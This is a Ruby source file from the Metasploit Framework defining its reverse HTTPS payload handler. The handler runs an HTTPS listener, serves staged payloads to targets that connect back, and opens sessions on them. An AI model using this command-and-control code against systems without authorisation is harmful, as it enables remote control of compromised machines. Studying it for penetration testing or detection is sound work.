HD Moore
32b8f366de
git-svn-id: file:///home/svn/framework3/trunk@9057 4d416f70-5f16-0410-b530-b9f4589650da
149 lines
3.1 KiB
Ruby
149 lines
3.1 KiB
Ruby
require 'rex/io/stream_abstraction'
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require 'rex/sync/ref'
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module Msf
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module Handler
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###
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#
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# This handler implements the HTTP SSL tunneling interface.
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#
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###
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module ReverseHttps
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include Msf::Handler
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#
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# Returns the string representation of the handler type, in this case
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# 'reverse_http'.
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#
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def self.handler_type
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return "reverse_https"
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end
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#
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# Returns the connection-described general handler type, in this case
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# 'tunnel'.
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#
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def self.general_handler_type
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"tunnel"
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end
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#
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# Initializes the HTTP SSL tunneling handler.
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#
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def initialize(info = {})
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super
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register_options(
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[
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OptString.new('LHOST', [ true, "The local listener hostname" ]),
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OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
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OptString.new('TARGETID', [ false, "The ID of this specific payload instance (4 bytes max)", Rex::Text.rand_text_alphanumeric(4)]),
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], Msf::Handler::ReverseHttps)
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end
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#
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# Create an HTTPS listener
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#
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def setup_handler
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# Start the HTTPS server service on this host/port
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self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
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datastore['LPORT'].to_i,
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'0.0.0.0',
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true
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)
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# Create a reference to ourselves
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obj = self
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# Add the new resource
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service.add_resource("/",
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'Proc' => Proc.new { |cli, req|
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on_request(cli, req, obj)
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},
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'VirtualDirectory' => true)
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dlog("Reverse HTTPS listener started on http://#{datastore['LHOST']}:#{datastore['LPORT']}/", 'core', LEV_2)
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print_status("HTTPS listener started.")
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end
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#
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# Simply calls stop handler to ensure that things are cool.
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#
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def cleanup_handler
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end
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#
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# Basically does nothing. The service is already started and listening
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# during set up.
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#
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def start_handler
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end
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#
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# Stops the service and deinitializes it.
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#
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def stop_handler
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Rex::ServiceManager.stop_service(service)
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end
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attr_accessor :service # :nodoc:
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protected
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#
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# Parses the HTTPS request
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#
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def on_request(cli, req, obj)
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sid = nil
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resp = Rex::Proto::Http::Response.new
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print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
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# Process the requested resource.
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case req.relative_resource
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when /\/A(.+)/
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target_id = $1
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print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{target_id} received...")
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resp['Content-Type'] = 'application/octet-stream'
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resp.body = obj.prestage_payload + obj.stage_payload(target_id)
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when /\/B(.+)/
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target_id = $1
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# This is the second connection from the actual stage, hand the socket
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# off to the real payload handler
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print_status("#{cli.peerhost}:#{cli.peerport} Stage connection for target #{target_id} received...")
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# Short-circuit the payload's handle_connection processing for create_session
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create_session(cli, { :skip_ssl => true, :target_id => target_id })
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# Specify this socket as keep-alive to prevent an immediate kill
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cli.keepalive = true
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# Remove this socket from the polled client list in the server
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obj.service.listener.clients.delete(cli)
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return
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else
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resp.code = 404
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resp.message = "Not found"
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end
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cli.send_response(resp) if (resp)
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end
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end
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end
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end
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